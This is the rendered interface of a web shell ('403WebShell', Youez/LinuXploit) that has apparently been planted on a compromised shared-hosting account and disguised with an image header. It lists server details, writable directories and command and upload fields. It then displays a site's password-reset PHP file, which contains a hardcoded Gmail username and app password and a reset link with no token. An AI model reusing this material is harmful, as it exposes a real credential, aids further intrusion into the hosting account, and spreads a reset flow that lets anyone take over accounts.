����JFIF��H�H����Exif��MM�*���� ��3����V�����3������3�(��������������������3�����403WebShell
403Webshell
Server IP : 162.0.232.25  /  Your IP : 3.145.43.92
Web Server : LiteSpeed
System : Linux premium276.web-hosting.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
User : kwacuqig ( 988)
PHP Version : 8.2.26
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/kwacuqig/bm1holdings-ltd.com/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/kwacuqig/bm1holdings-ltd.com/forgot-password.php
<?php
session_start();
include './header.php';
include './assets/php/connect.php';
?>
<div class="breadcrumbs">
    <div class="container">
        <div class="row">
            <div class="col-12">
                <div class="bread-inner">
                    <ul class="bread-list">
                        <li><a href="home">Home<i class="ti-arrow-right"></i></a></li>
                        <li class="active"><a href="forgot-password">Forgot Password</a></li>
                    </ul>
                </div>
            </div>
        </div>
    </div>
</div>

<?php
include 'assets/php/connect.php';

//Define name spaces
use PHPMailer\PHPMailer\PHPMailer;
use PHPMailer\PHPMailer\SMTP;
use PHPMailer\PHPMailer\Exception;

//Include required phpMailer files
require 'assets/PHPMailer/PHPMailer.php';
require 'assets/PHPMailer/SMTP.php';
require 'assets/PHPMailer/Exception.php';

if (isset($_POST['submit'])) {
    $to = mysqli_real_escape_string($conn, htmlentities($_POST['email']));
    $query = "SELECT `email`,`firstname`,`surname` FROM `users` WHERE `email`='$to'";
    if ($query_run = mysqli_query($conn, $query)) {
        if (mysqli_num_rows($query_run) == 0) {
            ?>
            <script type="text/javascript">
                document.addEventListener("DOMContentLoaded", function(event) {
                    swal("ERROR", "<?php echo $to; ?> is not registered", "error");
                })
            </script>
            <?php
        } else if (mysqli_num_rows($query_run) > 0) {
            while ($row = mysqli_fetch_array($query_run)) {
                $email = $row['email'];
                $subject = "Password Reset Request Notification";
                $firstname = $row['firstname'];
                $surname = $row['surname'];

                $pm = "
                        <!DOCTYPE html>
                        <html lang=\"en\">
                        <head>
                            <meta charset=\"UTF-8\">
                            <meta http-equiv=\"X-UA-Compatible\" content=\"IE=edge\">
                            <meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\">
                        </head>
                        <body>
                            <div style=\"background-color:rgba(0,255,0,0.1);padding:1rem;\">
                                <div style=\"background-color:#fff;border-radius:10px;padding:10px;\">
                                    <div style=\"background-color:#094da2;color:#fff;border-radius:15px 15px 0 0;text-align:center;font-size:18px;padding:40px 10px ;font-weight:bold;font-family:arial;\">
                                        <div class=\"text-center bg-dark text-white\">PASSWORD RESET REQUEST</div>
                                    </div>
                                    <h2>Dear $firstname $surname,</h2>
                                    <p>We have received a request to reset the password for your bm1holdings-ltd account</p>
                                    <p>If you made this request, click the button below. If you didn't make the request, you can ignore this email

                                    <p>Please click the button below to reset your credentials.</p>
                                    <center>
                                        <a style=\"text-decoration:none;color:#fff;text-align:center;padding:13px 15px;border-radius:20px;background-color:#094da2;\" href=\"https://bm1holdings-ltd.com/reset?email=$email\" target=\"_blank\">Reset Password</a>
                                    </center>
                                    <br><br>
                                    <center>
                                        <div class=\"padding:5px;text-align:center;background-color:#c9c8c8;\">
                                                bm1holdings-ltd &copy; " . date('Y') . "
                                        </div>
                                    </center>
                                </div>
                            </div>
                        </body>
                        </html>
                        ";

                //Create instance of phpMailer
                $mail = new PHPMailer();

                //Enable verbose debug output
                // $mail->SMTPDebug = SMTP::DEBUG_SERVER; 

                //set mailer to use smtp
                $mail->isSMTP();
                //define smtp host
                $mail->Host = "smtp.gmail.com";
                //enable smtp authentification
                $mail->SMTPAuth = "true";
                //set type of encryption (ssl/tls)	
                //TCP port to connect to, use 465 for `PHPMailer::ENCRYPTION_SMTPS` above
                $mail->SMTPSecure = PHPMailer::ENCRYPTION_STARTTLS;
                //set port to connect smtp
                $mail->Port = "587"; //465 for ssl
                //set gmail username
                $mail->Username = "beatonndaba@gmail.com";
                //set gmail password
                $mail->Password = "tsxngatucbssjwbm";
                //Set email format to HTML
                $mail->isHTML(true);
                //set email subject
                $mail->Subject = $subject;
                //set sender email
                $mail->setFrom($email, "BM ONE HOLDINGS LTD");
                //Email body
                $mail->Body = $pm;
                //Add recipient
                $mail->addAddress($to);
                //Finally send email
                if ($mail->Send()) {
                ?>
                    <script type="text/javascript">
                        document.addEventListener("DOMContentLoaded", function(event) {
                            swal("SUCCESS", "Reset link was sent successfully. Check Your Email", "success");
                        })
                    </script>
                <?php
                } else {
                ?>
                    <script type="text/javascript">
                        document.addEventListener("DOMContentLoaded", function(event) {
                            swal("ERROR", "<?php echo 'Message could not be sent. Mailer Error: {' . $mail->ErrorInfo . '}'; ?>", "error");
                        })
                    </script>
                <?php
                }

                //Closing  smtp connection
                $mail->smtpClose();
            }
        }
    } else {
        die(mysqli_error($conn));
    }
}
?>
<section class="shop login section" data-aos="zoom-in" data-aos-duration="500">
    <div class="container">
        <div class="row">
            <div class="col-lg-5 mx-auto">
                <div class="login-form">
                    <p>Enter valid email</p>

                    <form class="form" method="post" action="forgot-password">
                        <div class="row">
                            <div class="col-12">
                                <div class="form-group">
                                    <label>Email<span>*</span></label>
                                    <input type="email" name="email" placeholder="example@mail.com" required="required">
                                </div>
                            </div>
                            <div class="col-12">
                                <div class="form-group login-btn">
                                    <button class="btn" type="submit" name="submit">Send Reset Link</button>
                                </div>
                            </div>
                        </div>
                    </form>

                </div>
            </div>
        </div>
    </div>
</section>

<?php
include './footer.php';
include './scripts.php';
?>

Youez - 2016 - github.com/yon3zu
LinuXploit